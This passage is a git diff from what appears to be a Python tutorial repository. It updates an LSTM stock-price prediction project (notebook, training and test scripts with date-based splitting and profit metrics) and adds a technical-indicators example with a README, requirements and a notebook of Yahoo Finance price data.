if ticker is already a loaded stock from yahoo finance\n", + " if isinstance(ticker, str):\n", + " # load it from yahoo_fin library\n", + " df = si.get_data(ticker)\n", + " elif isinstance(ticker, pd.DataFrame):\n", + " # already loaded, use it directly\n", + " df = ticker\n", + " else:\n", + " raise TypeError(\"ticker can be either a str or a `pd.DataFrame` instances\")\n", + "\n", + " # this will contain all the elements we want to return from this function\n", + " result = {}\n", + " # we will also return the original dataframe itself\n", + " result['df'] = df.copy()\n", + "\n", + " # make sure that the passed feature_columns exist in the dataframe\n", + " for col in feature_columns:\n", + " assert col in df.columns, f\"'{col}' does not exist in the dataframe.\"\n", + "\n", + " # add date as a column\n", + " if \"date\" not in df.columns:\n", + " df[\"date\"] = df.index\n", + "\n", + " if scale:\n", + " column_scaler = {}\n", + " # scale the data (prices) from 0 to 1\n", + " for column in feature_columns:\n", + " scaler = preprocessing.MinMaxScaler()\n", + " df[column] = scaler.fit_transform(np.expand_dims(df[column].values, axis=1))\n", + " column_scaler[column] = scaler\n", + "\n", + " # add the MinMaxScaler instances to the result returned\n", + " result[\"column_scaler\"] = column_scaler\n", + "\n", + " # add the target column (label) by shifting by `lookup_step`\n", + " df['future'] = df['adjclose'].shift(-lookup_step)\n", + "\n", + " # last `lookup_step` columns contains NaN in future column\n", + " # get them before droping NaNs\n", + " last_sequence = np.array(df[feature_columns].tail(lookup_step))\n", + " \n", + " # drop NaNs\n", + " df.dropna(inplace=True)\n", + "\n", + " sequence_data = []\n", + " sequences = deque(maxlen=n_steps)\n", + "\n", + " for entry, target in zip(df[feature_columns + [\"date\"]].values, df['future'].values):\n", + " sequences.append(entry)\n", + " if len(sequences) == n_steps:\n", + " sequence_data.append([np.array(sequences), target])\n", + "\n", + " # get the last sequence by appending the last `n_step` sequence with `lookup_step` sequence\n", + " # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 60 (that is 50+10) length\n", + " # this last_sequence will be used to predict future stock prices that are not available in the dataset\n", + " last_sequence = list([s[:len(feature_columns)] for s in sequences]) + list(last_sequence)\n", + " last_sequence = np.array(last_sequence).astype(np.float32)\n", + " # add to result\n", + " result['last_sequence'] = last_sequence\n", + " \n", + " # construct the X's and y's\n", + " X, y = [], []\n", + " for seq, target in sequence_data:\n", + " X.append(seq)\n", + " y.append(target)\n", + "\n", + " # convert to numpy arrays\n", + " X = np.array(X)\n", + " y = np.array(y)\n", + "\n", + " if split_by_date:\n", + " # split the dataset into training & testing sets by date (not randomly splitting)\n", + " train_samples = int((1 - test_size) * len(X))\n", + " result[\"X_train\"] = X[:train_samples]\n", + " result[\"y_train\"] = y[:train_samples]\n", + " result[\"X_test\"] = X[train_samples:]\n", + " result[\"y_test\"] = y[train_samples:]\n", + " if shuffle:\n", + " # shuffle the datasets for training (if shuffle parameter is set)\n", + " shuffle_in_unison(result[\"X_train\"], result[\"y_train\"])\n", + " shuffle_in_unison(result[\"X_test\"], result[\"y_test\"])\n", + " else: \n", + " # split the dataset randomly\n", + " result[\"X_train\"], result[\"X_test\"], result[\"y_train\"], result[\"y_test\"] = train_test_split(X, y, \n", + " test_size=test_size, shuffle=shuffle)\n", + "\n", + " # get the list of test set dates\n", + " dates = result[\"X_test\"][:, -1, -1]\n", + " # retrieve test features from the original dataframe\n", + " result[\"test_df\"] = result[\"df\"].loc[dates]\n", + " # remove duplicated dates in the testing dataframe\n", + " result[\"test_df\"] = result[\"test_df\"][~result[\"test_df\"].index.duplicated(keep='first')]\n", + " # remove dates from the training/testing sets & convert to float32\n", + " result[\"X_train\"] = result[\"X_train\"][:, :, :len(feature_columns)].astype(np.float32)\n", + " result[\"X_test\"] = result[\"X_test\"][:, :, :len(feature_columns)].astype(np.float32)\n", + "\n", + " return result" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def create_model(sequence_length, n_features, units=256, cell=LSTM, n_layers=2, dropout=0.3,\n", + " loss=\"mean_absolute_error\", optimizer=\"rmsprop\", bidirectional=False):\n", + " model = Sequential()\n", + " for i in range(n_layers):\n", + " if i == 0:\n", + " # first layer\n", + " if bidirectional:\n", + " model.add(Bidirectional(cell(units, return_sequences=True), batch_input_shape=(None, sequence_length, n_features)))\n", + " else:\n", + " model.add(cell(units, return_sequences=True, batch_input_shape=(None, sequence_length, n_features)))\n", + " elif i == n_layers - 1:\n", + " # last layer\n", + " if bidirectional:\n", + " model.add(Bidirectional(cell(units, return_sequences=False)))\n", + " else:\n", + " model.add(cell(units, return_sequences=False))\n", + " else:\n", + " # hidden layers\n", + " if bidirectional:\n", + " model.add(Bidirectional(cell(units, return_sequences=True)))\n", + " else:\n", + " model.add(cell(units, return_sequences=True))\n", + " # add dropout after each layer\n", + " model.add(Dropout(dropout))\n", + " model.add(Dense(1, activation=\"linear\"))\n", + " model.compile(loss=loss, metrics=[\"mean_absolute_error\"], optimizer=optimizer)\n", + " return model" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "tags": [ + "outputPrepend" + ] + }, + "outputs": [], + "source": [ + "# create these folders if they does not exist\n", + "if not os.path.isdir(\"results\"):\n", + " os.mkdir(\"results\")\n", + "\n", + "if not os.path.isdir(\"logs\"):\n", + " os.mkdir(\"logs\")\n", + "\n", + "if not os.path.isdir(\"data\"):\n", + " os.mkdir(\"data\")\n", + "\n", + "# load the data\n", + "data = load_data(ticker, N_STEPS, scale=SCALE, split_by_date=SPLIT_BY_DATE, \n", + " shuffle=SHUFFLE, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, \n", + " feature_columns=FEATURE_COLUMNS)\n", + "\n", + "# save the dataframe\n", + "data[\"df\"].to_csv(ticker_data_filename)\n", + "\n", + "# construct the model\n", + "model = create_model(N_STEPS, len(FEATURE_COLUMNS), loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,\n", + " dropout=DROPOUT, optimizer=OPTIMIZER, bidirectional=BIDIRECTIONAL)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# some tensorflow callbacks\n", + "checkpointer = ModelCheckpoint(os.path.join(\"results\", model_name + \".h5\"), save_weights_only=True, save_best_only=True, verbose=1)\n", + "tensorboard = TensorBoard(log_dir=os.path.join(\"logs\", model_name))\n", + "# train the model and save the weights whenever we see \n", + "# a new optimal model using ModelCheckpoint\n", + "history = model.fit(data[\"X_train\"], data[\"y_train\"],\n", + " batch_size=BATCH_SIZE,\n", + " epochs=EPOCHS,\n", + " validation_data=(data[\"X_test\"], data[\"y_test\"]),\n", + " callbacks=[checkpointer, tensorboard],\n", + " verbose=1)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import matplotlib.pyplot as plt\n", + "\n", + "def plot_graph(test_df):\n", + " \"\"\"\n", + " This function plots true close price along with predicted close price\n", + " with blue and red colors respectively\n", + " \"\"\"\n", + " plt.plot(test_df[f'true_adjclose_{LOOKUP_STEP}'], c='b')\n", + " plt.plot(test_df[f'adjclose_{LOOKUP_STEP}'], c='r')\n", + " plt.xlabel(\"Days\")\n", + " plt.ylabel(\"Price\")\n", + " plt.legend([\"Actual Price\", \"Predicted Price\"])\n", + " plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def get_final_df(model, data):\n", + " \"\"\"\n", + " This function takes the `model` and `data` dict to \n", + " construct a final dataframe that includes the features along \n", + " with true and predicted prices of the testing dataset\n", + " \"\"\"\n", + " # if predicted future price is higher than the current, \n", + " # then calculate the true future price minus the current price, to get the buy profit\n", + " buy_profit = lambda current, pred_future, true_future: true_future - current if pred_future > current else 0\n", + " # if the predicted future price is lower than the current price,\n", + " # then subtract the true future price from the current price\n", + " sell_profit = lambda current, pred_future, true_future: current - true_future if pred_future < current else 0\n", + " X_test = data[\"X_test\"]\n", + " y_test = data[\"y_test\"]\n", + " # perform prediction and get prices\n", + " y_pred = model.predict(X_test)\n", + " if SCALE:\n", + " y_test = np.squeeze(data[\"column_scaler\"][\"adjclose\"].inverse_transform(np.expand_dims(y_test, axis=0)))\n", + " y_pred = np.squeeze(data[\"column_scaler\"][\"adjclose\"].inverse_transform(y_pred))\n", + " test_df = data[\"test_df\"]\n", + " # add predicted future prices to the dataframe\n", + " test_df[f\"adjclose_{LOOKUP_STEP}\"] = y_pred\n", + " # add true future prices to the dataframe\n", + " test_df[f\"true_adjclose_{LOOKUP_STEP}\"] = y_test\n", + " # sort the dataframe by date\n", + " test_df.sort_index(inplace=True)\n", + " final_df = test_df\n", + " # add the buy profit column\n", + " final_df[\"buy_profit\"] = list(map(buy_profit, \n", + " final_df[\"adjclose\"], \n", + " final_df[f\"adjclose_{LOOKUP_STEP}\"], \n", + " final_df[f\"true_adjclose_{LOOKUP_STEP}\"])\n", + " # since we don't have profit for last sequence, add 0's\n", + " )\n", + " # add the sell profit column\n", + " final_df[\"sell_profit\"] = list(map(sell_profit, \n", + " final_df[\"adjclose\"], \n", + " final_df[f\"adjclose_{LOOKUP_STEP}\"], \n", + " final_df[f\"true_adjclose_{LOOKUP_STEP}\"])\n", + " # since we don't have profit for last sequence, add 0's\n", + " )\n", + " return final_df" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def predict(model, data):\n", + " # retrieve the last sequence from data\n", + " last_sequence = data[\"last_sequence\"][-N_STEPS:]\n", + " # expand dimension\n", + " last_sequence = np.expand_dims(last_sequence, axis=0)\n", + " # get the prediction (scaled from 0 to 1)\n", + " prediction = model.predict(last_sequence)\n", + " # get the price (by inverting the scaling)\n", + " if SCALE:\n", + " predicted_price = data[\"column_scaler\"][\"adjclose\"].inverse_transform(prediction)[0][0]\n", + " else:\n", + " predicted_price = prediction[0][0]\n", + " return predicted_price" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# load optimal model weights from results folder\n", + "model_path = os.path.join(\"results\", model_name) + \".h5\"\n", + "model.load_weights(model_path)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# evaluate the model\n", + "loss, mae = model.evaluate(data[\"X_test\"], data[\"y_test\"], verbose=0)\n", + "# calculate the mean absolute error (inverse scaling)\n", + "if SCALE:\n", + " mean_absolute_error = data[\"column_scaler\"][\"adjclose\"].inverse_transform([[mae]])[0][0]\n", + "else:\n", + " mean_absolute_error = mae" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# get the final dataframe for the testing set\n", + "final_df = get_final_df(model, data)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# predict the future price\n", + "future_price = predict(model, data)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# we calculate the accuracy by counting the number of positive profits\n", + "accuracy_score = (len(final_df[final_df['sell_profit'] > 0]) + len(final_df[final_df['buy_profit'] > 0])) / len(final_df)\n", + "# calculating total buy & sell profit\n", + "total_buy_profit = final_df[\"buy_profit\"].sum()\n", + "total_sell_profit = final_df[\"sell_profit\"].sum()\n", + "# total profit by adding sell & buy together\n", + "total_profit = total_buy_profit + total_sell_profit\n", + "# dividing total profit by number of testing samples (number of trades)\n", + "profit_per_trade = total_profit / len(final_df)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# printing metrics\n", + "print(f\"Future price after {LOOKUP_STEP} days is {future_price:.2f}$\")\n", + "print(f\"{LOSS} loss:\", loss)\n", + "print(\"Mean Absolute Error:\", mean_absolute_error)\n", + "print(\"Accuracy score:\", accuracy_score)\n", + "print(\"Total buy profit:\", total_buy_profit)\n", + "print(\"Total sell profit:\", total_sell_profit)\n", + "print(\"Total profit:\", total_profit)\n", + "print(\"Profit per trade:\", profit_per_trade)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# plot true/pred prices graph\n", + "plot_graph(final_df)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "final_df.head(20)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "final_df.tail(20)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# save the final dataframe to csv-results folder\n", + "csv_results_folder = \"csv-results\"\n", + "if not os.path.isdir(csv_results_folder):\n", + " os.mkdir(csv_results_folder)\n", + "csv_filename = os.path.join(csv_results_folder, model_name + \".csv\")\n", + "final_df.to_csv(csv_filename)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.7" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} \ No newline at end of file diff --git a/machine-learning/stock-prediction/stock_prediction.py b/machine-learning/stock-prediction/stock_prediction.py index a93a47e1..e800be7f 100644 --- a/machine-learning/stock-prediction/stock_prediction.py +++ b/machine-learning/stock-prediction/stock_prediction.py @@ -1,5 +1,6 @@ +import tensorflow as tf from tensorflow.keras.models import Sequential -from tensorflow.keras.layers import LSTM, Dense, Dropout +from tensorflow.keras.layers import LSTM, Dense, Dropout, Bidirectional from sklearn import preprocessing from sklearn.model_selection import train_test_split from yahoo_fin import stock_info as si @@ -9,8 +10,21 @@ import pandas as pd import random +# set seed, so we can get the same results after rerunning several times +np.random.seed(314) +tf.random.set_seed(314) +random.seed(314) -def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, + +def shuffle_in_unison(a, b): + # shuffle two arrays in the same way + state = np.random.get_state() + np.random.shuffle(a) + np.random.set_state(state) + np.random.shuffle(b) + + +def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, split_by_date=True, test_size=0.2, feature_columns=['adjclose', 'volume', 'open', 'high', 'low']): """ Loads data from Yahoo Finance source, as well as scaling, shuffling, normalizing and splitting. @@ -18,8 +32,10 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, ticker (str/pd.DataFrame): the ticker you want to load, examples include AAPL, TESL, etc. n_steps (int): the historical sequence length (i.e window size) used to predict, default is 50 scale (bool): whether to scale prices from 0 to 1, default is True - shuffle (bool): whether to shuffle the data, default is True + shuffle (bool): whether to shuffle the dataset (both training & testing), default is True lookup_step (int): the future lookup step to predict, default is 1 (e.g next day) + split_by_date (bool): whether we split the dataset into training/testing by date, setting it + to False will split datasets in a random way test_size (float): ratio for test data, default is 0.2 (20% testing data) feature_columns (list): the list of features to use to feed into the model, default is everything grabbed from yahoo_fin """ @@ -40,7 +56,11 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, # make sure that the passed feature_columns exist in the dataframe for col in feature_columns: - assert col in df.columns + assert col in df.columns, f"'{col}' does not exist in the dataframe." + + # add date as a column + if "date" not in df.columns: + df["date"] = df.index if scale: column_scaler = {} @@ -66,17 +86,16 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, sequence_data = [] sequences = deque(maxlen=n_steps) - for entry, target in zip(df[feature_columns].values, df['future'].values): + for entry, target in zip(df[feature_columns + ["date"]].values, df['future'].values): sequences.append(entry) if len(sequences) == n_steps: sequence_data.append([np.array(sequences), target]) # get the last sequence by appending the last `n_step` sequence with `lookup_step` sequence - # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 59 (that is 50+10-1) length - # this last_sequence will be used to predict in future dates that are not available in the dataset - last_sequence = list(sequences) + list(last_sequence) - # shift the last sequence by -1 - last_sequence = np.array(pd.DataFrame(last_sequence).shift(-1).dropna()) + # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 60 (that is 50+10) length + # this last_sequence will be used to predict future stock prices that are not available in the dataset + last_sequence = list([s[:len(feature_columns)] for s in sequences]) + list(last_sequence) + last_sequence = np.array(last_sequence).astype(np.float32) # add to result result['last_sequence'] = last_sequence @@ -90,33 +109,59 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, X = np.array(X) y = np.array(y) - # reshape X to fit the neural network - X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) - - # split the dataset - result["X_train"], result["X_test"], result["y_train"], result["y_test"] = train_test_split(X, y, + if split_by_date: + # split the dataset into training & testing sets by date (not randomly splitting) + train_samples = int((1 - test_size) * len(X)) + result["X_train"] = X[:train_samples] + result["y_train"] = y[:train_samples] + result["X_test"] = X[train_samples:] + result["y_test"] = y[train_samples:] + if shuffle: + # shuffle the datasets for training (if shuffle parameter is set) + shuffle_in_unison(result["X_train"], result["y_train"]) + shuffle_in_unison(result["X_test"], result["y_test"]) + else: + # split the dataset randomly + result["X_train"], result["X_test"], result["y_train"], result["y_test"] = train_test_split(X, y, test_size=test_size, shuffle=shuffle) - # return the result + + # get the list of test set dates + dates = result["X_test"][:, -1, -1] + # retrieve test features from the original dataframe + result["test_df"] = result["df"].loc[dates] + # remove duplicated dates in the testing dataframe + result["test_df"] = result["test_df"][~result["test_df"].index.duplicated(keep='first')] + # remove dates from the training/testing sets & convert to float32 + result["X_train"] = result["X_train"][:, :, :len(feature_columns)].astype(np.float32) + result["X_test"] = result["X_test"][:, :, :len(feature_columns)].astype(np.float32) + return result -def create_model(input_length, units=256, cell=LSTM, n_layers=2, dropout=0.3, - loss="mean_absolute_error", optimizer="rmsprop"): +def create_model(sequence_length, n_features, units=256, cell=LSTM, n_layers=2, dropout=0.3, + loss="mean_absolute_error", optimizer="rmsprop", bidirectional=False): model = Sequential() for i in range(n_layers): if i == 0: # first layer - model.add(cell(units, return_sequences=True, input_shape=(None, input_length))) + if bidirectional: + model.add(Bidirectional(cell(units, return_sequences=True), batch_input_shape=(None, sequence_length, n_features))) + else: + model.add(cell(units, return_sequences=True, batch_input_shape=(None, sequence_length, n_features))) elif i == n_layers - 1: # last layer - model.add(cell(units, return_sequences=False)) + if bidirectional: + model.add(Bidirectional(cell(units, return_sequences=False))) + else: + model.add(cell(units, return_sequences=False)) else: # hidden layers - model.add(cell(units, return_sequences=True)) + if bidirectional: + model.add(Bidirectional(cell(units, return_sequences=True))) + else: + model.add(cell(units, return_sequences=True)) # add dropout after each layer model.add(Dropout(dropout)) - model.add(Dense(1, activation="linear")) model.compile(loss=loss, metrics=["mean_absolute_error"], optimizer=optimizer) - return model \ No newline at end of file diff --git a/machine-learning/stock-prediction/test.py b/machine-learning/stock-prediction/test.py index 382b0564..9aa9dc44 100644 --- a/machine-learning/stock-prediction/test.py +++ b/machine-learning/stock-prediction/test.py @@ -1,67 +1,132 @@ -from stock_prediction import create_model, load_data, np -from parameters import * +import numpy as np + import matplotlib.pyplot as plt -from sklearn.metrics import accuracy_score -def plot_graph(model, data): - y_test = data["y_test"] - X_test = data["X_test"] - y_pred = model.predict(X_test) - y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0))) - y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred)) - plt.plot(y_test[-200:], c='b') - plt.plot(y_pred[-200:], c='r') +from stock_prediction import create_model, load_data +from parameters import * + + +def plot_graph(test_df): + """ + This function plots true close price along with predicted close price + with blue and red colors respectively + """ + plt.plot(test_df[f'true_adjclose_{LOOKUP_STEP}'], c='b') + plt.plot(test_df[f'adjclose_{LOOKUP_STEP}'], c='r') plt.xlabel("Days") plt.ylabel("Price") plt.legend(["Actual Price", "Predicted Price"]) plt.show() -def get_accuracy(model, data): - y_test = data["y_test"] +def get_final_df(model, data): + """ + This function takes the `model` and `data` dict to + construct a final dataframe that includes the features along + with true and predicted prices of the testing dataset + """ + # if predicted future price is higher than the current, + # then calculate the true future price minus the current price, to get the buy profit + buy_profit = lambda current, pred_future, true_future: true_future - current if pred_future > current else 0 + # if the predicted future price is lower than the current price, + # then subtract the true future price from the current price + sell_profit = lambda current, pred_future, true_future: current - true_future if pred_future < current else 0 X_test = data["X_test"] + y_test = data["y_test"] + # perform prediction and get prices y_pred = model.predict(X_test) - y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0))) - y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred)) - y_pred = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_pred[LOOKUP_STEP:])) - y_test = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_test[LOOKUP_STEP:])) - return accuracy_score(y_test, y_pred) + if SCALE: + y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0))) + y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred)) + test_df = data["test_df"] + # add predicted future prices to the dataframe + test_df[f"adjclose_{LOOKUP_STEP}"] = y_pred + # add true future prices to the dataframe + test_df[f"true_adjclose_{LOOKUP_STEP}"] = y_test + # sort the dataframe by date + test_df.sort_index(inplace=True) + final_df = test_df + # add the buy profit column + final_df["buy_profit"] = list(map(buy_profit, + final_df["adjclose"], + final_df[f"adjclose_{LOOKUP_STEP}"], + final_df[f"true_adjclose_{LOOKUP_STEP}"]) + # since we don't have profit for last sequence, add 0's + ) + # add the sell profit column + final_df["sell_profit"] = list(map(sell_profit, + final_df["adjclose"], + final_df[f"adjclose_{LOOKUP_STEP}"], + final_df[f"true_adjclose_{LOOKUP_STEP}"]) + # since we don't have profit for last sequence, add 0's + ) + return final_df -def predict(model, data, classification=False): +def predict(model, data): # retrieve the last sequence from data - last_sequence = data["last_sequence"][:N_STEPS] - # retrieve the column scalers - column_scaler = data["column_scaler"] - # reshape the last sequence - last_sequence = last_sequence.reshape((last_sequence.shape[1], last_sequence.shape[0])) + last_sequence = data["last_sequence"][-N_STEPS:] # expand dimension last_sequence = np.expand_dims(last_sequence, axis=0) # get the prediction (scaled from 0 to 1) prediction = model.predict(last_sequence) # get the price (by inverting the scaling) - predicted_price = column_scaler["adjclose"].inverse_transform(prediction)[0][0] + if SCALE: + predicted_price = data["column_scaler"]["adjclose"].inverse_transform(prediction)[0][0] + else: + predicted_price = prediction[0][0] return predicted_price # load the data -data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, - feature_columns=FEATURE_COLUMNS, shuffle=False) +data = load_data(ticker, N_STEPS, scale=SCALE, split_by_date=SPLIT_BY_DATE, + shuffle=SHUFFLE, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, + feature_columns=FEATURE_COLUMNS) # construct the model -model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS, - dropout=DROPOUT, optimizer=OPTIMIZER) +model = create_model(N_STEPS, len(FEATURE_COLUMNS), loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS, + dropout=DROPOUT, optimizer=OPTIMIZER, bidirectional=BIDIRECTIONAL) +# load optimal model weights from results folder model_path = os.path.join("results", model_name) + ".h5" model.load_weights(model_path) # evaluate the model -mse, mae = model.evaluate(data["X_test"], data["y_test"]) +loss, mae = model.evaluate(data["X_test"], data["y_test"], verbose=0) # calculate the mean absolute error (inverse scaling) -mean_absolute_error = data["column_scaler"]["adjclose"].inverse_transform(mae.reshape(1, -1))[0][0] -print("Mean Absolute Error:", mean_absolute_error) +if SCALE: + mean_absolute_error = data["column_scaler"]["adjclose"].inverse_transform([[mae]])[0][0] +else: + mean_absolute_error = mae + +# get the final dataframe for the testing set +final_df = get_final_df(model, data) # predict the future price future_price = predict(model, data) +# we calculate the accuracy by counting the number of positive profits +accuracy_score = (len(final_df[final_df['sell_profit'] > 0]) + len(final_df[final_df['buy_profit'] > 0])) / len(final_df) +# calculating total buy & sell profit +total_buy_profit = final_df["buy_profit"].sum() +total_sell_profit = final_df["sell_profit"].sum() +# total profit by adding sell & buy together +total_profit = total_buy_profit + total_sell_profit +# dividing total profit by number of testing samples (number of trades) +profit_per_trade = total_profit / len(final_df) +# printing metrics print(f"Future price after {LOOKUP_STEP} days is {future_price:.2f}$") -print("Accuracy Score:", get_accuracy(model, data)) -plot_graph(model, data) \ No newline at end of file +print(f"{LOSS} loss:", loss) +print("Mean Absolute Error:", mean_absolute_error) +print("Accuracy score:", accuracy_score) +print("Total buy profit:", total_buy_profit) +print("Total sell profit:", total_sell_profit) +print("Total profit:", total_profit) +print("Profit per trade:", profit_per_trade) +# plot true/pred prices graph +plot_graph(final_df) +print(final_df.tail(10)) +# save the final dataframe to csv-results folder +csv_results_folder = "csv-results" +if not os.path.isdir(csv_results_folder): + os.mkdir(csv_results_folder) +csv_filename = os.path.join(csv_results_folder, model_name + ".csv") +final_df.to_csv(csv_filename) diff --git a/machine-learning/stock-prediction/train.py b/machine-learning/stock-prediction/train.py index 6cd545b0..c3f03d4c 100644 --- a/machine-learning/stock-prediction/train.py +++ b/machine-learning/stock-prediction/train.py @@ -17,21 +17,25 @@ os.mkdir("data") # load the data -data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, feature_columns=FEATURE_COLUMNS) +data = load_data(ticker, N_STEPS, scale=SCALE, split_by_date=SPLIT_BY_DATE, + shuffle=SHUFFLE, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, + feature_columns=FEATURE_COLUMNS) + +# save the dataframe +data["df"].to_csv(ticker_data_filename) # construct the model -model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS, - dropout=DROPOUT, optimizer=OPTIMIZER) +model = create_model(N_STEPS, len(FEATURE_COLUMNS), loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS, + dropout=DROPOUT, optimizer=OPTIMIZER, bidirectional=BIDIRECTIONAL) # some tensorflow callbacks -checkpointer = ModelCheckpoint(os.path.join("results", model_name), save_weights_only=True, save_best_only=True, verbose=1) +checkpointer = ModelCheckpoint(os.path.join("results", model_name + ".h5"), save_weights_only=True, save_best_only=True, verbose=1) tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name)) - +# train the model and save the weights whenever we see +# a new optimal model using ModelCheckpoint history = model.fit(data["X_train"], data["y_train"], batch_size=BATCH_SIZE, epochs=EPOCHS, validation_data=(data["X_test"], data["y_test"]), callbacks=[checkpointer, tensorboard], - verbose=1) - -model.save(os.path.join("results", model_name) + ".h5") \ No newline at end of file + verbose=1) \ No newline at end of file diff --git a/machine-learning/technical-indicators/README.md b/machine-learning/technical-indicators/README.md new file mode 100644 index 00000000..4186e35d --- /dev/null +++ b/machine-learning/technical-indicators/README.md @@ -0,0 +1,4 @@ +# [Introduction to Finance and Technical Indicators with Python](https://www.thepythoncode.com/article/introduction-to-finance-and-technical-indicators-with-python) +To run this: +- `pip3 install -r requirements.txt` +- Please check [the notebook](technical_indicators.ipynb) or the [Python script](technical_indicators.py) \ No newline at end of file diff --git a/machine-learning/technical-indicators/requirements.txt b/machine-learning/technical-indicators/requirements.txt new file mode 100644 index 00000000..5647d5ff --- /dev/null +++ b/machine-learning/technical-indicators/requirements.txt @@ -0,0 +1,4 @@ +pandas-datareader +yfinance +mpl-finance +stockstats \ No newline at end of file diff --git a/machine-learning/technical-indicators/technical_indicators.ipynb b/machine-learning/technical-indicators/technical_indicators.ipynb new file mode 100644 index 00000000..5ade7857 --- /dev/null +++ b/machine-learning/technical-indicators/technical_indicators.ipynb @@ -0,0 +1,222 @@ +{ + "metadata": { + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": 3 + }, + "orig_nbformat": 2, + "kernelspec": { + "name": "python_defaultSpec_1596390011190", + "display_name": "Python 3.6.6 64-bit" + } + }, + "nbformat": 4, + "nbformat_minor": 2, + "cells": [ + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "import yfinance as yf\n", + "import pandas_datareader as pdr\n", + "from mpl_finance import candlestick_ohlc\n", + "import matplotlib.pyplot as plt" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [], + "source": [ + "# import SPY stock price\n", + "df_spy = pdr.get_data_yahoo(\"SPY\", start=\"2019-01-01\", end=\"2019-09-30\")\n", + "# import AAPL stock price\n", + "df_aapl = pdr.get_data_yahoo(\"AAPL\", start=\"2019-01-01\", end=\"2019-09-30\")" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": " High Low Open Close Volume \\\nDate \n2019-01-02 251.210007 245.949997 245.979996 250.179993 126925200.0 \n2019-01-03 248.570007 243.669998 248.229996 244.210007 144140700.0 \n2019-01-04 253.110001 247.169998 247.589996 252.389999 142628800.0 \n2019-01-07 255.949997 251.690002 252.690002 254.380005 103139100.0 \n2019-01-08 257.309998 254.000000 256.820007 256.769989 102512600.0 \n\n Adj Close \nDate \n2019-01-02 243.025879 \n2019-01-03 237.226593 \n2019-01-04 245.172668 \n2019-01-07 247.105774 \n2019-01-08 249.427399 ", + "text/html": "
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HighLowOpenCloseVolumeAdj Close
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2019-01-02251.210007245.949997245.979996250.179993126925200.0243.025879
